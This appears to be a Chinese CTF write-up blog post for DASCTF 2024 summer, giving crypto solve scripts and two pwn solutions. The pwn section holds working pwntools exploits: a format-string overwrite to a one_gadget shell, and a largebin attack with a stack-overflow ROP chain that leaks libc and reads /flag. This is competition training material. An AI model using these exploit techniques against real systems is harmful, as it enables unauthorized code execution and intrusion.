DASCTF 2024暑期挑战赛|为热爱,并肩作战

现在这密码全是格了,这格怎么个格法?

Crypto

complex_enc

from Crypto.Util.number import *
import random
from secret import flag


def GET_KEY(n):
    sum=2
    key=[1]
    for i in range(n):
        r=random.randint(0,1)
        x=sum+random.randint(0,n)*r
        key.append(x)
        sum+=x
    return key

def enc(m,k):
    cipher_list = []
    for i in range(len(m)):
        if m[i] == 1:
            cipher_list.append(m[i] * k[i])
    cipher = sum(cipher_list)
    return cipher

m=bytes_to_long(flag)
m = [int(bit) for byte in flag for bit in format(byte, '08b')] #转2进制位
key=GET_KEY(len(m))
c=enc(m,key)

with open('output.txt', 'w') as f:
    f.write(str(c))
    f.write(str(key))

一个不带模的背包,从大到小如果够减就是1不够就是0,最后组一起。

m = ''
for i in key[::-1]:
    if c>=i:
        c -=i 
        m+='1'
    else:
        m+='0'

m = m[::-1]
''.join([chr(int(m[i:i+8],2)) for i in range(0,len(m),8)])
#DASCTF{you_kn0w_b@ckpack_Crypt0?}

1z_RSA

from Crypto.Util.number import *
from sympy import *
import os
from secrets import flag

nbit =130
e = 3
l = getPrime(505)
m = bytes_to_long(flag + os.urandom(64))  #744

assert len(flag) == 29

while True:
    p, q = getPrime(nbit), getPrime(nbit)
    PQ = int(str(p<<120)+str(q))  #p*2^120*10^40 + q
    QP = int(str(q<<120)+str(p))  #q*2^120*10^40 + p
    if isPrime(PQ) and isPrime(QP):
        break

n = PQ * QP
PP = nextprime((PQ >> 190) * (QP & (2 ** 190 - 1)))
QQ = nextprime((QP >> 190) * (PQ & (2 ** 190 - 1)))
N = PP * QQ
M = pow(m,1,l)
c = pow(m,e,N)

print('n =', n)
print('M =', M)
print('l =', l)
print('c =', c)

'''
n = 18339446336492672809908730785358232636383625709800392830207979464962269419140428722248172110017576390002616004691759163126532392634394976712779777822451878822759056304050545622761060245812934467784888422790178920804822224673755691
M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322
l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189
c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923
'''

一个分解题,PQ和QP给了一个公式,由于是字符串连接所以130素数pq长度可能是39或40

得到以下式子:

PQ = p*2^{120}*10^a + q

QP = q*2^{120}*10^b + p

n = PQ*QP = pq*2^{240}*10^{a+b} + p^2*2^{120}*10^a + q^2*2^{120}*10^b +pq

这里如果取用2**240*10**(a+b)取模的话得到的pq最后7-8位有污染(p**2*2**120*10**a 有几位超过前边的模但量不大可以爆破)同时如果取尾部的话得到的pq会少前几位。

拿这两个数爆破一下,相遇的时候就是pq

b1b2 = [(39,39),(39,40),(40,40)]
for b1,b2 in b1b2:
    print(b1,b2)
    pqh =[n//(2**240*10**(b1+b2)) - i for i in range(1024)]
    for j in range(1024):
        pql = n%(2**120*10**39) + j*(2**120*10**39)
        if pql in pqh:
            print(b1,b2,pql)

#39 40 1037975878166511826028989164959056901830467784888422790178920804822224673755691   
pq = 1037975878166511826028989164959056901830467784888422790178920804822224673755691          

然后再通过公式中的p^2,q^2来分解

from z3 import *
p,q = Ints('p q')
s = Solver()
s.add(p*q == pq)
s.add(pq*2**240*10**(79) + p**2*2**120*10**39 + q**2*2**120*10**40 + pq == n)
s.check()
s.model()

#p,q = 855604426214387476576649090490109822073,1213149261930568621267125437333569321667

通过原式得到PP,QQ

#PP,QQ
PQ = int(str(p<<120)+str(q))
QP = int(str(q<<120)+str(p))
PP = next_prime((PQ >> 190) * (QP & (2 ** 190 - 1)))
QQ = next_prime((QP >> 190) * (PQ & (2 ** 190 - 1)))
phi = (PP-1)*(QQ-1)

PP = 3568645677145678186647847767913853195136375094554794216910078595159477139561591230815568312539748091309459843040473
QQ = 214068192062555191214464440527253433970199685522983500319669073855320868671968745050948493965230424975401521253723

这是(QQ-1)%3==0 所以先单独用PP求出m对PP的解再与题目给出的l取CRT,l 505位,PP 380多位,m只有744位,恰好可求。

#gcd(3,QQ-1) == 3 用PP求380位,再与l 500位 求CRT
mp = pow(c,inverse(3,PP-1),PP)
m = crt([int(mp),M],[PP,l])
long_to_bytes(m)
#DASCTF{Ar3_Y0u_Su93_Abt139??}

found

from Crypto.Util.number import *
from random import *
from secret import flag
from sympy import *

bits = 1024
l = 138833858362699289505402947409766595473722379891580589518174731439613184249727659678966809301611194545239974736175752769503863392697421092435438747741790652435801956708356186578269272819715592752821497122516109657809748674185639254430403157877064556216401002688452227124543508128414591884297632663910714681207

assert isPrime(l)

def generate_prime(bits):
    return randprime(2**(bits-1), 2**bits)

def fun(data,y,n):
    return sum([data[i] * pow(y,i,n) for i in range(len(data))]) % n

def gen(x, y, z, w, n):
    data = [randint(n // 4, n) for _ in range(10)]
    leak1 = pow(x + pow(y, z, n), w, n)
    leak2 = fun(data, y, n)
    return data, leak1, leak2

def encrypt(l,m,n):
    mm = bin(m)[2:].zfill((m.bit_length() // 8 + 1) * 8)
    length = len(mm)
    c = []
    s = []
    for i in range(length):
        a = randint(1, n)
        s.append(pow(a, length, n))
    for j in range(length):
        c.append(pow(l,int(mm[j]),n) * s[j] % n)
    return c

p, q = [generate_prime(bits) for _ in range(2)]
r = generate_prime(bits // 4)
n = p ** 2 * q * r
e1 = generate_prime(128)
e2 = generate_prime(128)
phi1 = p * (p - 1) * (q - 1) * (r - 1)
phi2 = (p - 1) * (p - 2) * (q - 2) * (r - 2)
d1 = inverse(e1, phi1)
d2 = inverse(e2, phi2)

t = getRandomRange(n // 4, n)
data, leak1, leak2 = gen(r, t, e1, d1, n)
m = bytes_to_long(flag)
c = encrypt(l, m, n)

with open('output.txt','w') as f:
    f.write(f'n = {n}\n')
    f.write(f'e1 = {e1}\n')
    f.write(f'ed = {e2 * d2}\n')
    f.write(f'data = {data}\n')
    f.write(f'leak1 = {leak1}\n')
    f.write(f'leak2 = {leak2}\n')
    f.write(f'c = {c}')

这是一个非常长的程序,有数不清的数,但由于s[i] = pow(rand,length,n),length是偶数这个s[i]是一个二次剩余,当flag_bin那位是1时乘上因子就不再是二次剩余,而是0是l**0==1结果就是s[i]还是二次剩余。用以可以用jacobi符号来判断那位是否为0

m = ''.join(['0' if jacobi(i,n)==1 else '1' for i in c])
''.join([chr(int(mm[i:i+8],2)) for i in range(0,len(mm),8)])
#DASCTF{c764ba09-b2aa-12ed-ab17-9408ad39ce84}

*EZshamir 

感觉是个RLWE,B=As+e 但是跟着大佬的博客,整了半天也没出来。

import os
from random import getrandbits
from hashlib import sha256, md5
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from secret import flag

class Shamir:
    def __init__(self, pbits, noise_bit, n, m):
        self.pbits = pbits
        self.noise_bit = noise_bit
        self.n = n
        self.m = m
        self.p = getPrime(pbits)
        P.<x> = PolynomialRing(Zmod(self.p))
        self.poly = P([bytes_to_long(sha256(os.urandom(32)).digest()) for i in range(self.n)])

    def sample(self):
        t = getrandbits(self.pbits)
        y = int(self.poly(t))
        noise = getrandbits(noise_bit)
        return (t, y | noise)

    def get_msg(self):
        res = []
        for i in range(self.m):
            res.append(self.sample())
        return res

pbits = 400
noise_bit = 32
n = 100
m = 75

shamir = Shamir(pbits, noise_bit, n, m)
coefficient = shamir.poly()
key = "".join([str(i) for i in list(coefficient)[1:]])
key = md5(key.encode()).digest()
aes = AES.new(key = key, mode = AES.MODE_ECB)
ct = aes.encrypt(pad(flag, 16))

with open("data.txt", "w") as f:
    f.write(str(shamir.p)+'\n')
    f.write(str(shamir.get_msg())+'\n')
    f.write(str(bytes_to_long(ct))+'\n')

*DAS

又超出我会的范围了

import random
from DDAASSSAA import *
from Crypto.Util.Padding import pad
from flag import FLAG
ALPHABET = "DAS"
KEY_LENGTH = 32

#生成指定长度由DAS组成的串
def generate_random_string(length, chars):
    return ''.join(random.choice(chars) for _ in range(length))

def get_message(num_messages):
    return [generate_random_string(random.randint(20, 32), ALPHABET) for _ in range(num_messages)]

def get_key():
    return generate_random_string(KEY_LENGTH, ALPHABET).encode()

def get_strong_prime(kbits):
    while True:
        q = getPrime(kbits)
        p = q * 2 + 1
        if isPrime(p):
            return p, q

def write_to_file(filename, data, rwx="w"):
    with open(filename, rwx) as file:
        for item in data:
            file.write(f"{item}\n")

if __name__ == "__main__":
    num_messages = 2024 // 65
    messages = get_message(num_messages) #生成31段,20-32长的DAS串 gift.txt给出
    p, q = get_strong_prime(256) #p = 2q+1  enc.txt尾部给出p,q,g,y
    x = random.randrange(q)
    key = get_key() #32字节DAS串

    signer = SimpleDSASigner(p, q, 2, x, key)
    write_to_file("GIFT.txt", messages)
    signatures = [signer.sign(pad(msg.encode(), 32)) for msg in messages]
    write_to_file("enc.txt", map(str, signatures))
    write_to_file("enc.txt", [str(signer.give_gift())],"a")

    assert FLAG==b"DASCTF{"+key+b"}"

DDAASSSAA.py

from Crypto.Util.number import *
import hashlib

b2l=lambda x:bytes_to_long(x)
l2b=lambda x:long_to_bytes(x)

def xor(A,B):
  return bytes([a ^ b for a, b in zip(A, B)])

class SimpleDSASigner:
    def __init__(self, p, q, g, x,KEY):
        self.p = p
        self.q = q
        self.g = g
        self.x = x
        self.y = pow(self.g, self.x, self.p)
        self.KEY=KEY
    def sign(self, message):
        h = int(hashlib.sha256(message).hexdigest(), 16)
        k = b2l(xor(message,self.KEY))
        r = pow(self.g, k, self.p) % self.q
        s = (inverse(k, self.q) * (h + self.x * r)) % self.q
        if r != 0 and s != 0:
            return (r, s)
    def verify(self, message, r, s):
        h = int(hashlib.sha256(message).hexdigest(), 16)
        w = inverse(s, self.q)
        u1 = (h * w) % self.q
        u2 = (r * w) % self.q
        v = ((pow(self.g, u1, self.p) * pow(self.y, u2, self.p)) % self.p) % self.q
        return v == r
    def give_gift(self):
        return (self.p,self.q,self.g,self.y)

p,q,g,y,message,signatures都已经给出,求KEY

PWN

springboard

是一道格式化字符串的题,i定义了5次限制,并且值不在栈内

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]

  myinit();
  ......
  for ( i = 0; i <= 4; ++i )
  {
    puts("You have an 5 chances to get a flag");
    printf("This is the %d time\n", (unsigned int)(i + 1));
    puts("Please enter a keyword");
    read(0, bss, 0x40uLL);
    printf(bss);
  }
  return 0;
}

1,值不在栈内,可以通过argv链在栈内写数值。

2,每弄几次要重写一下i 

from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

p = process('./pwn')

def fmt(msg):
    p.sendafter(b"Please enter a keyword\n", msg)

#第1次,泄露libc,stack 计算i和ret的位置
fmt("%9$p,%11$p,\0")
libc.address = int(p.recvuntil(b',', drop=True),16) - 240 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True),16)
ptr_i = stack - 0xef
ptr_rop = stack -0xe0
print(f"{libc.address = :x} {stack = :x} {ptr_i = :x} {ptr_rop = :x}")

#修改argv链,让#11->#37->&i
fmt(f"%{ptr_i&0xffff}c%11$hn\0")

#由于ret前有mov rax,0 所以可以直接用one
one = p64(libc.address + 0x45226)
for i in range(6):
    #cleak i
    fmt(f"%{ptr_i&0xff}c%11$hhn\0")
    fmt(f"%37$n\0")
    #write rop
    fmt(f"%{(ptr_rop+i)&0xff}c%11$hhn\0")
    fmt(f"%{one[i]}c%37$hhn\0")

fmt('\0')
fmt('\0')

p.interactive() 

'''
0x00007fffffffde30│+0x0000: 0x00007fffffffdf20  →  0x0000000000000001    ← $rsp
0x00007fffffffde38│+0x0008: 0x0000000000000000   #i 0x00007fffffffde3c
0x00007fffffffde40│+0x0010: 0x0000000000400840  ← $rbp
0x00007fffffffde48│+0x0018: 0x00007ffff7820840  →  <__libc_start_main+240> mov edi, eax
0x00007fffffffde50│+0x0020: 0x0000000000000000
0x00007fffffffde58│+0x0028: 0x00007fffffffdf28  →  0x00007fffffffe279  →  "/home/kali/ctf/2407/das/p1/pwn"
0x00007fffffffde60│+0x0030: 0x0000000100000000
0x00007fffffffde68│+0x0038: 0x0000000000400767  →  <main+0> push rbp

0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
'''

magicbook

看上去是个堆题,有add,free,edit,其中free有d限制可以有1次对其它指针+8位置的写0x18字节

edit与题目的堆块无关,只是写一个串到dest,但长度是book数。如果修改book会形成栈溢出。

__int64 delete_the_book()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  puts("which book would you want to delete?");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 5 || !p[v2] )
  {
    puts("wrong!!");
    exit(0);
  }
  free((void *)p[v2]);
  puts("Do you want to say anything else before being deleted?(y/n)");
  read(0, buf, 4uLL);
  if ( d && (buf[0] == 89 || buf[0] == 121) )
  {
    puts("which page do you want to write?");
    __isoc99_scanf("%u", &v1);
    if ( v1 > 4 || !p[v2] )
    {
      puts("wrong!!");
      exit(0);
    }
    puts("content: ");
    read(0, (void *)(p[v1] + 8LL), 0x18uLL);
    --d;
    return 0LL;
  }
  else
  {
    if ( d )
      puts("ok!");
    else
      puts("no ways!!");
    return 0LL;
  }
}

void *edit_the_book()
{
  size_t v0; // rax
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("come on,Write down your story!");
  read(0, buf, book);
  v0 = strlen(buf);
  return memcpy(dest, buf, v0);
}

add可以写5次,用这5次正好作一个largebin attack在free的时候写指针next_bk=&book-0x20,在book写入大数后(book是short型,可能会成负数读不成功,打开aslr后概率0.5)利用edit_the_book进行栈溢出泄露libc,heap并写ROP

from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

p = process('./pwn')


p.recvuntil(b"give you a gift: ")
elf.address = int(p.recvuntil(b'what', drop=True),16) - 0x4010 
print(f"{elf.address = :x}")

pop_rdi = elf.address + 0x0000000000001863 # pop rdi ; ret

def add(size):
    p.sendlineafter(b"Your choice:\n", b'1')
    p.sendlineafter(b"How many pages does your book need?\n", str(size).encode())

def free1(idx1,idx2,msg):
    p.sendlineafter(b"Your choice:\n", b'2')
    p.sendlineafter(b"which book would you want to delete?", str(idx1).encode())
    p.sendafter(b"Do you want to say anything else before being deleted?(y/n)\n", b'YYYY')
    p.sendlineafter(b"which page do you want to write?\n", str(idx2).encode())
    p.sendafter(b"content: ", msg)

def free2(idx1):
    p.sendlineafter(b"Your choice:\n", b'2')
    p.sendlineafter(b"which book would you want to delete?", str(idx1).encode())
    p.sendafter(b"Do you want to say anything else before being deleted?(y/n)\n", b'n')

def edit(msg):
    p.sendlineafter(b"Your choice:\n", b'3')
    p.sendafter(b"come on,Write down your story!\n", msg)

#largebin Attack 在book写堆指针
add(0x4e0)
add(0x100)
add(0x4c0)
free2(0)
add(0x500)
free1(2,0,flat(0,0,elf.sym['book']-0x20))
add(0x500)

#泄露地址
#puts(got.puts),puts(desc),edit_the_book
dest = elf.address +0x4088
edit(flat(b'\0'*0x28, pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rdi, dest, elf.plt['puts'], elf.sym['edit_the_book']))
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")
heap = u64(p.recvline()[:-1].ljust(8, b'\x00')) 
print(f"{heap = :x}")

#ORW
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; ret
syscall = libc.sym['getpid']+9
pay = b'/flag'.ljust(0x28, b'\x00')
pay += flat([pop_rdi, heap, pop_rsi,0, pop_rax,2, syscall,
             pop_rdi,3,pop_rsi,heap,pop_rdx,0x50,0, pop_rax,0, syscall,
             pop_rdi,1,pop_rax,1,syscall
])

p.sendafter(b"come on,Write down your story!\n", pay)

p.interactive()

'''
0x555555558000: 0x0000000000000000      0x0000555555558008
0x555555558010 <d>:     0x0000000000000001      0x0000000000000000
0x555555558020 <stdout@@GLIBC_2.2.5>:   0x00007ffff7e1b780      0x0000000000000000
0x555555558030 <stdin@@GLIBC_2.2.5>:    0x00007ffff7e1aaa0      0x0000000000000000
0x555555558040 <stderr@@GLIBC_2.2.5>:   0x00007ffff7e1b6a0      0x0000000000000000
0x555555558050 <book>:  0x0000000000000000      0x0000000000000000
0x555555558060 <p>:     0x0000000000000000      0x0000000000000000
0x555555558070 <p+16>:  0x0000000000000000      0x0000000000000000
0x555555558080 <p+32>:  0x0000000000000000      0x000055555555bfb0
'''

*???

还有一道pwn题是啥?没有附件,比赛一完马上就没,严厉批评buu。

差的题多会弄明白了再补。一时半会明白不了。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值